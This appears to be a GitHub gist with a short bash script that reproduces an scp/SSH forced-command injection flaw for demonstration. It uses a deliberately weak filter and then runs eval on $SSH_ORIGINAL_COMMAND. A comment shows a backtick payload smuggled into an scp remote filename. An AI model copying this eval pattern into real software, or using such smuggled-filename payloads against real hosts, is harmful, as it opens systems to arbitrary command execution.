Skip to content

Instantly share code, notes, and snippets.

@drewmnoel
Created December 6, 2020 02:49
Show Gist options
  • Save drewmnoel/e7061be883066b7d1065012954ca3077 to your computer and use it in GitHub Desktop.
Save drewmnoel/e7061be883066b7d1065012954ca3077 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Vuln via: scp /etc/passwd temp@localhost:'`touch /tmp/exploit2.sh`/targetfile'
set -f
set -- $SSH_ORIGINAL_COMMAND
# This replicates a really bad filter
case "$1" in
'ssh*')
>&2 echo "Access denied"
exit -1
esac
# The actual "vuln" is here. -t did not sanitize the contents of $SSH_ORIGINAL_COMMAND
# So when we eval it in Bash, it.. evals as Bash and we trigger the backtick expression first.
eval $@
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment